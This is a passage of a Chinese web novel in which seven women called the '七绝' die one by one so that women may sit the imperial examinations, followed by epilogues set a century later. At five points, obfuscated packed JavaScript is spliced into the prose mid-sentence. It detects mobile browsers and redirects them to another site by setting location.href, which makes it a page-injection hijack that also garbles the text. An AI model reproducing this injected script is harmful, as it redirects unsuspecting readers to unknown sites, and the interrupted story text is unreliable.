风吹过来,吹起她的衣裳。 她忽然转过身,往回走。 阿桑拉住她。 “云娘!您不能回去!” 云娘说:“她救了我,我不能让她一个人死。” 阿桑说:“她已经死了!您回去也救不了她!” 云娘愣住了。 已经死了。 沈醉,死了。 那个拎着酒坛、笑着骂人的女人。 那个叫她“云娘”、拍着她肩膀说“咱们是一条船上的”女人。 那个用一双拳头,杀出一条血路的女人。 死了。 云娘的眼泪流下来。 可她没出声。 只是站在那里,流着泪。 阿桑扶着她,哭着说:“云娘,咱们走吧。沈老板用命换您活,您得活着。” 云娘点点头。 “对,”她说,“我得活着。” 她们转身,走出城门。 走进夜色里。 --- 三天后。 青石镇后面的山上。 云娘站在一棵小树旁边。 那是白芷的坟。 现在,旁边又多了一座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334433|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新坟。 没有碑。 只有一棵小树。 云娘站在那儿,手里攥着一样东西。 是沈醉的酒壶塞。 阿桑托人带回来的。 说是在沈醉手里找到的,她一直攥着,死都没松开。 云娘摸着那朵梅花。 摸着那些刻痕。 一道,两道,三道,四道,五道。 五道痕,五次醉。 她想起沈醉说过的话。 “每醉一次,刻一道痕。刻了十年,才刻了五道。” 她问:“为什么这么少?” 沈醉说:“因为不敢多醉。怕醉了,就醒不过来了。” 云娘的眼泪流下来。 她没醒过来。 可她醒着拼过了。 云娘把那酒壶塞贴在胸口。 “沈老板,”她轻声说,“你的酒,我替你喝。” 风吹过来,树叶沙沙响。 像是在回答。 --- 一个月后。 京城,国子监。 那幅“女子科举路”旁边,多了一样东西。 一只酒壶。 很旧的酒壶,壶身上刻着一朵梅花。 旁边有一块牌子,上面写着三个字: “醉仙壶”。 每天都有无数学子来看。 有人问:“这壶是谁的?” 有人回答:“是沈醉的。酒中仙沈醉。” “她人呢?” “死了。为了救人死的。” 沉默。 然后有人伸出手,轻轻摸了摸那只壶。 “醉仙壶,”那人说,“好名字。” 后来,那只壶旁边,又多了一行小字。 是云娘绣的。 绣的是八个字: “醉过、醒过、拼过——值了。” 每个字,都用红色的丝线绣的。 像血。 像那些年,她们流的血。 也像那朵梅花。 开在冬天的梅花。 最冷的时候,开得最好。 --- 云娘还活着。 她每天都会来国子监,在那幅绣品前站一会儿。 虽然看不见,可她摸得到。 摸那些梅花,摸那些名字。 谢知微。沈醉。谢霜寒。白芷。苏锦。花解语。 还有她自己。 云绣。 摸完了,她就站在那里,听着那些学子的脚步声。 那些年轻的女子,走进走出,读书讨论。 她们的声音里,有希望。 有她年轻时候没有的希望。 云娘笑了。 “都在。”她轻声说,“都还在。” 扶着她的人问:“云娘,您说什么?” 云娘摇摇头,没说话。 她转过身,往外走。 走到门口,她忽然停下来,回过头。 虽然看不见,可她知道,那幅绣品在那里。 那些人,在那里。 沈醉也在那里。 在那朵梅花里。 在那只酒壶里。 在那八个字里。 醉过、醒过、拼过——值了。 云娘走出国子监。 外面,阳光正好。 照在她脸上,暖洋洋的。 她抬起头,对着那太阳。 虽然看不见,可她觉得,今天的天,特别亮。 亮得像沈醉的笑。 亮得像那些梅花。 亮得像那条路。 她笑了。 “走吧,”她说,“回家。” 扶着她的人问:“云娘,家在哪儿?” 云娘说:“有梅花的地方。” 29. 七绝陨落 承安十一年,七月初七。 京城,菜市口。 今天是谢知微问斩的日子。 流放途中,皇帝的密使追上了她。圣旨只有一句话:谢知微勾结乱党,图谋不轨,就地正法。 她被押回京城,关进死牢。 三天后,菜市口。 天还没亮,刑场周围就挤满了人。 有来看热闹的,有来骂她的,也有来送她的。 更多的,是那些女学子。 她们穿着素衣,站在人群里,一言不发。 监斩官坐在台上,脸色铁青。 他看见那些女学子,心里发怵。可皇命在身,他不敢不斩。 谢知微被押上刑台。 她穿着一身囚服,头发散乱,可她的背挺得直直的。 脸上,还带着笑。 刽子手站在她旁边,刀已经举起来了。 监斩官站起来,正要开口下令。 忽然,人群中有人喊了一声。 “谢相!” 谢知微抬起头。 她看见那些女学子,一个一个跪下来。 一个,两个,三个…… 越来越多的人跪下。 她们没有喊,没有哭,只是跪着。 跪在那里,看着她。 谢知微的眼眶红了。 可她没有让眼泪掉下来。 她只是看着她们。 看着那些年轻的、鲜活的、走在路上的女子。 然后她笑了。 笑得很轻,很淡。 像风。 监斩官挥下令牌。 “斩!” 刽子手的刀落下来。 就在那一瞬间,谢知微转过头,望着考场的方向。 那里,传来一阵欢呼。 是女学子的欢呼。 今天,是第一届女进士揭榜的日子。 她们考上了。 她们走在路上了。 谢知微听见那些欢呼,忽然笑出声来。 笑得很大声。 笑得眼泪都出来了。 刀落下。 血溅三尺。 溅在她那身囚服上。 可那囚服,是红色的。 红得像血。 红得像火。 红得像—— 她娘当年赐死时穿的嫁衣。 她娘死的时候,穿的是一身红嫁衣。 那是她娘出嫁时穿的,留了二十年,一直舍不得穿。 那天,她娘穿上那身嫁衣,说:“死,也要死得好看。” 谢知微看着那身嫁衣,问:“娘,你怕吗?” 她娘笑了。 “怕什么?娘活了三十多年,够本了。” 刀落下。 血溅在嫁衣上。 红得像火。 现在,谢知微也死了。 血溅在她身上。 也红得像火。 也红得像嫁衣。 娘,女儿来找您了。 --- 同一天。 青石镇后面的山上。 沈醉的坟前。 谢霜寒站在那里,手里握着剑。 苏锦坐在轮椅上,脸色白得像纸。 花解语抱着琴,一言不发。 云娘被阿桑扶着,站在最前面。 她们都知道了。 谢知微,死了。 没有人说话。 风吹过来,树叶沙沙响。 过了很久,苏锦开口了。 “七绝,”她说,“死了五个。” 谢霜寒说:“还剩两个。” 花解语说:“我,和云娘。” 云娘摇摇头。 “还有谢阁主。还有苏老板。你们都还活着。” 苏锦笑了。 “活着?”她说,“我这身子,活不了多久。” 谢霜寒说:“那就活一天算一天。” 花解语说:“对。活一天,替她们活一天。” 云娘点点头。 “好。那就活。” 她们站在那里,看着那座坟。 沈醉的坟。 旁边,是白芷的坟。 再旁边,是新立的坟。 没有碑,只有一棵小树。 谢知微的坟。 云娘摸索着走过去,摸着那棵小树。 摸着摸着,她笑了。 “都在。”她轻声说,“都还在。” --- 三天后。 江湖上传出一个消息。 “七绝死了。大燕无救。” 传到京城,传到江南,传到边关。 有人哭,有人笑,有人骂,有人叹。 可那些女学子,没有人哭。 她们只是读书,考试,当官。 把那条路,走下去。 有一天,有人在国子监门口,发现了一块石碑。 不知道是谁立的。 碑上刻着八个字: “女子不死,世道不灭。” 旁边,还有一行小字: “七绝在此,永不陨落。” 没有人知道是谁刻的。 可每一个走过的人,都会停下来,看一眼。 看一眼,就走了。 然后继续往前走。 那条路,还在。 那些人,还在。 --- 一个月后。 青石镇后面的山上。 云娘一个人站在那里。 阿桑扶着她。 “云娘,”阿桑说,“回去吧。天快黑了。” 云娘摇摇头。 “再站一会儿。” 阿桑不再说话。 云娘站在那里,摸着那些树。 一棵,两棵,三棵,四棵,五棵。 五棵小树。 五座坟。 白芷,沈醉,谢知微,还有…… 她摸着第四棵,问:“这是谁的?” 阿桑说:“花解语的。” 云娘的手顿了一下。 花解语。 那个弹琴的女人。 那个叫她“云娘”的女人。 那个说“我替你弹琴”的女人。 也死了。 三天前,花解语在刑场弹琴,被乱箭射死。 她弹的是《广陵散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334434|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 》。 曲子里藏着密语。 那些密语说的是:女子不死,世道不灭。 她弹完最后一个音,倒下去。 怀里还抱着那架琴。 她娘的琴。 云娘摸着那棵小树,摸了很久。 然后她问:“第五棵是谁的?” 阿桑沉默了一会儿。 然后说:“谢阁主的。” 云娘的手又顿了一下。 谢霜寒。 那个冷得像冰的女人。 那个用剑劈开石桌的女人。 那个说“我欠白芷一条命”的女人。 也死了。 为了救苏锦,她一个人挡住了三十个暗卫。 杀了二十七个,自己也死了。 苏锦抱着她的尸体,哭了一夜。 然后苏锦也没了。 第二天早上,阿桑发现她的时候,她已经凉了。 手里握着那支银簪。 她妹妹苏绣的遗物。 旁边,是白芷的坟。 云娘站在那里,摸着那些小树。 一棵一棵摸过去。 白芷,沈醉,谢知微,花解语,谢霜寒,苏锦。 六棵小树。 六座坟。 七绝,只剩她一个人了。 “云娘,”阿桑轻声说,“咱们回去吧。” 云娘点点头。 “好。回去。” 她转过身,往外走。 走到山脚,忽然停下来。 “阿桑,”她说,“你听见了吗?” 阿桑问:“听见什么?” 云娘说:“笑声。” 阿桑愣住了。 云娘说:“她们在笑。” 阿桑仔细听。 风吹过来,树叶沙沙响。 像笑声。 阿桑的眼泪流下来。 云娘却笑了。 “都在。”她说,“都还在。” --- 江湖上还在传。 “七绝死了。大燕无救。” 可那些女学子,没有人信。 她们说:“七绝没死。” “在哪儿?” “在心里。” 她们指着自己的心口。 “在这儿。” 后来,有人在国子监门口,又发现了一块石碑。 碑上刻着七个名字。 谢知微。沈醉。谢霜寒。白芷。苏锦。云娘。花解语。 旁边,还有一行字: “七绝在此,永不陨落。” 再后来,每年的七月初七,都有人来祭拜。 她们说,那天是谢相死的日子。 也是女进士揭榜的日子。 她们说,谢相死的时候,听见了她们的欢呼。 她笑了。 笑得很大声。 笑得眼泪都出来了。 那个笑,传了一百年。 传到现在。 传到每一个女子心里。 传到那条路上。 那条开满梅花的路上。 女子不死,世道不灭。 七绝在此,永不陨落。 30. 七死七生,换世道活 终章:百年后·七绝传说 大燕历一百二十三年,三月初三。 又是一年科考日。 京城贡院门口,三千女学子正在排队入场。她们穿着统一的青衫,头发梳得一丝不苟,手里提着考篮,脸上有紧张,有期待,有忐忑。 可没有人害怕。 因为她们知道,这条路,有人替她们铺过了。 贡院的大殿里,挂着七幅画像。 画像上的人,穿着不同的衣裳。有的拎着酒坛,有的握着长剑,有的背着药箱,有的抱着账本,有的捏着绣针,有的扶着古琴,有的白发如雪。 可画像下面,没有名字。 只有两个字: “七绝。” 没有人知道她们具体是谁,叫什么名字,长什么模样。 可每一个女学子都知道,她们的故事。 听说,酒中仙一壶烈酒,能唤醒蒙睡的天子。 听说,剑中霜一剑霜寒,护的是边关三万妇孺。 听说,医中圣悬壶济世,救的是仇人之女,用的是折寿禁术。 听说,商中狐千金一掷,买的是姐妹自由身,赌的是天下公道。 听说,绣中魂针下生花,双目虽盲,却绣出了女子科举路。 听说,乐中妖一曲广陵散,琴弦之下,藏着杀人的刃。 听说,相中狼白发如雪,步步为营,用一条命,换了这世道重来。 可传说只是传说。 没有人知道,她们真的长什么样。 画像上的脸,是后人照着传说画的。 有人说酒中仙应该圆脸大眼,有人说剑中霜应该冷若冰霜,有人说医中圣应该眉目温柔,有人说商中狐应该眼带笑意,有人说绣中魂应该神色平静,有人说乐中妖应该媚眼如丝,有人说相中狼应该白发苍苍。 画师照着这些说法,画了七幅像。 挂在贡院大殿里,挂了快一百年。 每年科考之前,都有女学子来祭拜。 她们在画像前跪下,磕头,上香。 嘴里念念有词: “求七绝娘娘保佑,让女子有条路走。” 今年也不例外。 天还没亮,就有人来了。 一个年轻的女子,穿着崭新的青衫,手里捧着一束梅花。 她走进大殿,在画像前跪下。 把梅花供上,磕了三个头。 “七绝娘娘,”她说,“我叫阿月,今年十七,从江南来的。我娘说,当年要不是你们,她连字都不认识。我今天来考试,替她考,也替你们考。” 她站起来,又鞠了一躬。 转身走了。 她身后,又有人进来。 一个,两个,三个…… 越来越多。 有年轻的,有年长的,有从江南来的,有从边关来的,有从京城本地来的。 她们一个一个走进来,把梅花供上,跪下,磕头。 梅花堆满了供桌。 最后一个进来的是个老妇人。 她瞎了,被人扶着,一步一步走进来。 她摸索着走到供桌前,伸出手,摸了摸那些画像。 摸得很慢,一个一个摸过去。 酒中仙。剑中霜。医中圣。商中狐。绣中魂。乐中妖。相中狼。 摸完了,她笑了。 “都在。”她说,“都还在。” 扶着她的人问:“云娘,您说什么?” 云娘摇摇头,没说话。 她转过身,往外走。 走到门口,她忽然停下来,回过头。 虽然看不见,可她知道,那些画像在那里。 那七个人,在那里。 一百年前的那个晚上,七盏酒碰在一起,积雪震落。 一百年后,那些雪早就化了。 可那七个人,还活着。 活在每一个来祭拜的人心里。 活在每一个不认命的女子心里。 活在那幅绣品里。 活在这条路上。 云娘走出贡院。 外面,阳光正好。 照在她脸上,暖洋洋的。 她抬起头,对着那太阳。 虽然看不见,可她觉得,今天的天,特别亮。 亮得像她们的眼睛。 亮得像那些梅花。 亮得像那条路。 她笑了。 “走吧,”她说,“回家。” 扶着她的人问:“云娘,家在哪儿?” 云娘说:“有梅花的地方。” --- 贡院里,考试开始了。 三千女学子埋头答卷,笔尖划过纸面,沙沙作响。 那声音,像一百年前的雪落声。 也像那些年,她们走过的脚步声。 大殿里,那七幅画像静静地挂着。 阳光从窗外照进来,照在她们脸上。 酒中仙拎着酒坛,好像在笑。 剑中霜握着长剑,好像在看着远方。 医中圣背着药箱,好像在赶路。 商中狐抱着账本,好像在算账。 绣中魂捏着绣针,好像在绣花。 乐中妖扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334435|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着古琴,好像在弹曲。 相中狼白发如雪,好像在看着那些考生。 画像下面,不知什么时候,多了一行小字。 是后来的人刻上去的。 刻的是: “女子不死,世道不灭。” 旁边,还有一行更小的字。 凑近了看,才能看清。 “七绝在此,永不陨落。” 风吹进来,画像轻轻晃动。 像是有人在点头。 像是在说: “都在。都还在。” --- 傍晚,考试结束。 阿月走出考场,站在贡院门口,回头看了一眼。 大殿里,那七幅画像还在那里。 在夕阳下,泛着金色的光。 她忽然想起早上祭拜时说的话。 “求七绝娘娘保佑,让女子有条路走。” 她笑了。 这条路,不是求来的。 是她们用命铺的。 她握紧拳头,转过身,大步往前走。 前面,是她的路。 也是她们的路。 也是所有女子的路。 那条路,从一百年前铺到现在。 从风月楼铺到贡院。 从那七个女人铺到三千个考生。 还会继续铺下去。 铺到永远。 阿月走远的时候,天边烧起一片晚霞。 红得像火。 红得像血。 红得像那些年,她们流的血。 也红得像那朵梅花。 开在冬天的梅花。 最冷的时候,开得最好。 --- 一百年前。 风月楼,听梅阁。 七盏酒碰在一起。 窗外,积雪震落。 有人问:“咱们这算不算造反?” “不算。” “那算什么?” 女相抿了一口酒,微微一笑: “算给这世道,换个活法。” 一百年后。 贡院,大殿。 七幅画像静静地挂着。 三千考生,来来往往。 有人问:“七绝娘娘真的存在吗?” “存在。” “在哪儿?” “在心里。” 她们指着自己的心口。 “在这儿。” 风吹进来,画像轻轻晃动。 像是在笑。 像是在说: “都在。都还在。” 31. 说书人:《风月七侠传》 尾声:说书人·风月七侠传 大燕历一百二十三年,腊月二十八。 京城,天桥茶馆。 外面下着雪,茶馆里却热气腾腾。几十张桌子坐满了人,跑堂的端着茶壶穿梭来去,瓜子花生的壳扔了一地。 最里面的台子上,说书人一拍醒木。 “啪——” 满堂安静。 说书人是个老头,须发皆白,可眼睛亮得很。他捋了捋胡子,扫了一眼台下的听众。 “今儿个腊月二十八,老朽给诸位说一段特别的。” 有人喊:“老爷子,说哪段?” 说书人笑了笑。 “说一段《风月七侠传》。” 台下轰然叫好。 有人拍桌子,有人吹口哨,有人喊着“来一段来一段”。 说书人抬起手,示意大家安静。 然后他开口了。 “诸位可知道,一百年前的今天,是什么日子?” 没有人回答。 说书人说:“一百年前的腊月二十八,七个女人,在风月楼聚首。” 他顿了顿。 “那七个女人,就是后来名动天下的——风月七侠。” 台下安静了。 说书人继续说:“可老朽今天要告诉你们,她们不是什么侠客,不是什么英雄。” 有人问:“那是什么?” 说书人看着那个发问的人,一字一字说: “是赌徒。” “赌徒?” “对。赌徒。” 说书人站起来,走到台前。 “她们拿命赌。赌一个女子能抬头的世道。” 他的声音不高,可每一个字都清清楚楚。 “酒中仙沈醉,赌的是风月楼那坛酒。她本可以醉生梦死一辈子,可她偏要醒着拼。” “剑中霜谢霜寒,赌的是手里那把剑。她本可以独善其身,可她偏要护边关三万妇孺。” “医中圣白芷,赌的是医谷禁术。她本可以明哲保身,可她偏要用十年命换别人活。” “商中狐苏锦,赌的是那本账本。她本可以安安稳稳当她的首富,可她偏要赌一个公道。” “绣中魂云娘,赌的是那双盲眼。她本可以什么都不看,可她偏要绣出一条路。” “乐中妖花解语,赌的是那架古琴。她本可以只弹风月,可她偏要弹《广陵散》,弹到死。” “相中狼谢知微,赌的是那条命。她本可以安安分分当她的宰相,可她偏要换一个活法。” 说书人一口气说完,看着台下。 台下一片寂静。 过了好一会儿,有人小声问:“那……她们赢了吗?” 说书人笑了。 他指着窗外。 窗外,是贡院的方向。 “你听见了吗?” 那人愣住了。 “听见什么?” 说书人说:“那些女学子读书的声音。” 那人侧耳听。 风雪声中,隐隐约约,好像真的有读书声传来。 说书人说:“一百年前,女子不能读书。一百年后,三千女子进考场。你说,她们赢没赢?” 那人说不出话。 说书人走回台子中央,一拍醒木。 “啪——” “话说那一百年前,腊月二十八。风月楼,听梅阁。七盏酒碰在一起,积雪震落。” 他慢慢说起来。 说起沈醉的醉拳,说起谢霜寒的剑,说起白芷的毒烟,说起苏锦的账本,说起云娘的绣针,说起花解语的琴弦,说起谢知微的白发。 说起鹰愁涧的血战,说起朝堂上的弹劾,说起刑场上的笑声,说起牢房里的血字。 说起白芷死在山神庙里,说“女科要成,哪怕我死”。 说起苏锦死在青石镇,手里握着妹妹的银簪。 说起谢霜寒死在暗卫刀下,杀了二十七个才倒下。 说起花解语死在刑场上,琴弦断了还在弹。 说起沈醉死在菜市口,用命换云娘活。 说起谢知微死在刀下,临死前听见女学子的欢呼,笑出声来。 说起云娘一个人,活了五十年。 台下有人哭了。 有人擦眼泪,有人低着头,有人攥紧拳头。 说书人说完最后一句,一拍醒木。 “啪——” “七条命,一条船。船没靠岸,可她们铺了一条路。” 他站起来,对着台下拱了拱手。 “诸位,老朽说完了。” 台下安静了一瞬。 然后有人站起来鼓掌。 一个,两个,三个…… 越来越多的人站起来。 掌声像潮水一样,涌向台子。 说书人站在那里,看着那些鼓掌的人。 有男人,有女人,有老人,有孩子。 有读书人,有贩夫走卒,有富家小姐,有穷苦百姓。 他们都在鼓掌。 都在看着台上。 都在听那个故事。 说书人忽然笑了。 他抬起手,示意大家停下。 “诸位,”他说,“老朽还有一句话。” 台下安静下来。 说书人说:“那七个人,不是什么神仙,不是什么圣人。她们就是普通人。会哭,会笑,会怕,会疼的普通人。” 他顿了顿。 “可她们做了一件事。” “什么事?” 说书人说:“她们不甘心。” “不甘心这世道,让女子只能嫁人、为奴、进庵堂。” “不甘心那些姑娘,一辈子没见过字长什么样。” “不甘心那些死了的人,白死。” 他的声音越来越高。 “所以她们赌了。” “拿命赌。” “赌赢了,后人享福。赌输了,她们认。” 他最后看了一眼台下。 “诸位,你们现在能坐在这儿,听老朽说书,你们的女儿能读书,能考试,能当官——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334436|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是她们拿命换的。” 他深深鞠了一躬。 台下没有人说话。 只有掌声。 很久很久的掌声。 茶馆外面,雪还在下。 可茶馆里面,热得像火。 一个年轻女子站起来,走到台前。 她穿着一身青衫,是今年新考中的女进士。 她对着说书人,深深鞠了一躬。 然后转过身,对着台下所有人。 “我叫阿月,”她说,“今年十八。我娘不识字,可我识字。我能读书,能考试,能当官。” 她的声音有些发抖。 “因为一百年前,有人替我赌过。” 台下又安静了。 阿月说:“她们不是英雄,是赌徒。可这个世道,缺的就是这样的赌徒。” 她举起手里的茶杯。 “敬她们。” 所有人都举起茶杯。 “敬她们。” 茶杯碰在一起,发出清脆的响声。 窗外,积雪震落。 和一百年前一样。 --- 那天晚上,阿月回到家里。 她娘还在等她。 “考得怎么样?” 阿月笑了。 “还行。” 她娘点点头,没再问。 阿月坐在窗前,看着外面的雪。 她忽然想起说书人说的话。 “她们不是英雄,是赌徒。” 她笑了。 英雄不英雄的,不重要。 重要的是,她们赌赢了。 她从怀里摸出一样东西。 是一小块石头。 很旧了,边角都磨圆了。 那是她娘留给她的。 她娘说,这是她姥姥的姥姥传下来的。 上面刻着四个字。 阿月凑到灯下,仔细看。 那四个字是: “女子脊梁。” 她看着那四个字,看了很久。 然后她把它贴在胸口。 “谢谢你们,”她轻声说,“谢谢你们赌过。” 窗外,雪还在下。 可她知道,那些雪底下,埋着春天。 埋着那条路。 埋着那些梅花。 埋着那七个女人。 她们都在。 都还在。 --- 第二天,阿月又去了贡院。 大殿里,那七幅画像还在那里。 她站在画像前,看了很久。 然后她跪下来,磕了三个头。 站起来,转身就走。 走到门口,她忽然停下来。 回头看了一眼。 阳光从窗外照进来,照在那些画像上。 她们好像都在笑。 阿月也笑了。 “都在。”她轻声说,“都还在。” 她走出贡院。 外面,阳光正好。 雪早就停了。 32. 传承—霜刃未冷 林晚霜——霜刃未冷 承安十五年,五月十五。 边关,霜冷剑阁。 废墟。 谢霜寒死后第三年,这座曾经的剑阁已经被大火烧成了白地。断壁残垣上长满了野草,风一吹,沙沙响。 可废墟中央,立着一块碑。 碑上只刻了两个字: “剑在。” 碑前,跪着一个年轻的女子。 她穿着一身黑衣,头发高高束起,腰间悬着一把剑。 那把剑,是谢霜寒的遗物。 三年前,谢霜寒死在暗卫刀下之前,把这把剑交给了阿蘅。 阿蘅说:“阁主,您去哪儿?” 谢霜寒说:“去杀该杀的人。” 阿蘅说:“那我呢?” 谢霜寒看着她,难得地笑了。 “你活着。活着,才能等。” 阿蘅问:“等什么?” 谢霜寒说:“等下一个拿这把剑的人。” 然后她走了。 再也没有回来。 阿蘅等了三年。 她没有等到谢霜寒回来。 可她等到了另一个人。 一个从北狄逃回来的姑娘。 那个姑娘叫林晚霜。 --- 林晚霜今年十九岁。 她不知道自己姓什么。只知道小时候,村里人都叫她“小丫头”。 十二岁那年,北狄兵来了。 他们屠了村子,杀了所有人。 她躲在村后的枯井里,听着外面的惨叫,吓得浑身发抖。 就在那时候,她听见了一个声音。 是剑的声音。 还有一个女人的声音。 那女人说:“我剑下,从无妇孺冤魂!” 然后是打斗声,惨叫声,北狄人的喊声。 不知道过了多久,井口忽然露出一张脸。 是个女人。 黑衣,冷面,眼睛里像结着霜。 那女人看着她,问:“还活着?” 她点点头。 女人伸出手,把她从井里拉出来。 她站在井边,看着满地的北狄人尸体。 那些刚才还在杀人放火的人,全都死了。 女人站在尸体中间,剑上的血还在滴。 她看着那个女人,忽然问:“你是谁?” 女人说:“谢霜寒。” 她又问:“你为什么要救我?” 谢霜寒说:“因为我答应过一个人。” 她问:“谁?” 谢霜寒没有回答。 只是低头看着她。 “你叫什么?” 她说:“不知道。” 谢霜寒沉默了一会儿。 然后说:“那就叫晚霜吧。” 她问:“为什么?” 谢霜寒说:“因为你遇见我的时候,是晚上。” 她记住了。 林晚霜。 那是她第一次有了名字。 后来谢霜寒把她送到附近的村子里,托人照顾她。 临走的时候,谢霜寒说:“好好活着。活到能拿剑的那天。” 她问:“拿了剑干什么?” 谢霜寒说:“护该护的人。” 然后她走了。 林晚霜等了七年。 七年后,她听说谢霜寒死了。 死在与暗卫的血战中。 她跑到霜冷剑阁,跪在废墟前,跪了三天三夜。 第四天,阿蘅从废墟里走出来。 手里拿着一把剑。 “你是林晚霜?”阿蘅问。 她点点头。 阿蘅把剑递给她。 “阁主说过,这把剑,给下一个拿它的人。” 林晚霜接过剑,握在手里。 剑很沉。 沉得像压着七年的等待。 阿蘅说:“阁主还留下一本剑谱。最后一页写着——剑下生霜,护的是她们。” 林晚霜翻开剑谱。 最后一页,果然有八个字。 “剑下生霜,护的是她们。” 她看着那八个字,看了很久。 然后她抬起头,问阿蘅:“她们是谁?” 阿蘅说:“所有需要护的人。” 林晚霜点点头。 她把剑谱收进怀里,握着那把剑,站起来。 “我要走了。”她说。 阿蘅问:“去哪儿?” 林晚霜说:“去护该护的人。” 她走了。 阿蘅站在废墟前,看着她的背影消失在风里。 风吹过来,废墟上的野草沙沙响。 像是有人在说: “去吧。” --- 承安十一年,六月初三。 京城,国子监门口。 一群男子围着一个女学子,正在动手。 那女学子是今年新考中的女进士,姓周,叫周晚。她刚从国子监出来,就被这群人堵住了。 “女进士?”为首的男人冷笑,“女人也配当进士?” 周晚说:“我考上的,怎么不配?” 那男人一巴掌扇过去。 周晚躲不开,被打倒在地。 那群男人围上去,开始动手动脚。 周晚挣扎,喊叫,可没有人来救她。 那些路过的男子,有的假装没看见,有的停下来看热闹,有的甚至跟着起哄。 就在这时候,一道黑影从人群中冲出来。 剑光一闪。 那群男人的鞭子,断成两截。 落在地上。 那群男人愣住了。 他们回头,看见一个黑衣女子站在他们面前。 手里握着一把剑。 剑上,还带着霜。 “你……你是什么人?”为首的男人结结巴巴地问。 黑衣女子没有回答。 她只是看着他们。 看着那些倒在地上的女学子。 看着那些断成两截的鞭子。 然后她开口了。 “谢前辈的剑,”她说,“不斩弱者。” 那群男人刚松一口气。 她又说: “只斩欺人者。” 剑光再闪。 为首那个男人的右手,齐腕断了。 血溅了一地。 他惨叫一声,抱着手腕倒下去。 其他男人吓得四散而逃。 黑衣女子收起剑,走到周晚面前。 伸出手。 周晚抬起头,看着她。 那张脸,冷得像霜。 可眼睛里,有一点点温度。 “起来。”黑衣女子说。 周晚握住她的手,站起来。 “你……你是谁?” 黑衣女子沉默了一会儿。 然后说:“林晚霜。” 周晚问:“你为什么救我?” 林晚霜看着她。 看着那张和当年的自己一样恐惧的脸。 “因为有人救过我。”她说。 周晚愣住了。 林晚霜转身要走。 周晚叫住她。 “等等!” 林晚霜停下来。 周晚问:“你说的谢前辈,是谁?” 林晚霜没有回答。 只是往前走。 走出几步,忽然停下来。 “剑中霜。”她说,“谢霜寒。” 然后她消失在人群里。 周晚站在原地,看着她的背影。 嘴里喃喃重复着那个名字。 谢霜寒。 剑中霜。 她想起小时候听过的传说。 那个护边关妇孺的女人。 那个一剑劈开石桌的女人。 那个死了三年、却还被人记住的女人。 周晚的眼泪流下来。 可她笑了。 “谢谢。”她轻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334437|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,“谢谢你,也谢谢她。” --- 那天晚上,林晚霜坐在城外的一座破庙里。 面前摆着谢霜寒的剑。 她看着那把剑,看了很久。 然后从怀里摸出那本剑谱。 翻到最后一页。 “剑下生霜,护的是她们。” 她看着那八个字,忽然想起谢霜寒当年说的话。 “护该护的人。” 她笑了。 笑得很轻。 “谢前辈,”她轻声说,“我记住了。” 她把剑谱收好,握着剑,站起来。 走到庙门口。 外面,月光很好。 照在她身上,照在剑上。 剑上的霜,在月光下泛着冷光。 可她的心,是热的。 因为她知道,她不是一个人。 谢霜寒在看着她。 那些需要护的人,在等着她。 她抬起头,对着那月亮。 “剑下生霜,”她说,“护的是她们。” 然后她走进月光里。 走进夜色里。 走进那条路里。 那条谢霜寒铺过的路。 那条她也要走下去的路。 --- 一个月后。 边关,一个小村子里。 林晚霜站在村口,看着那些刚被北狄兵劫掠过的屋子。 火光还在烧,哭喊声还在响。 她握着剑,走进去。 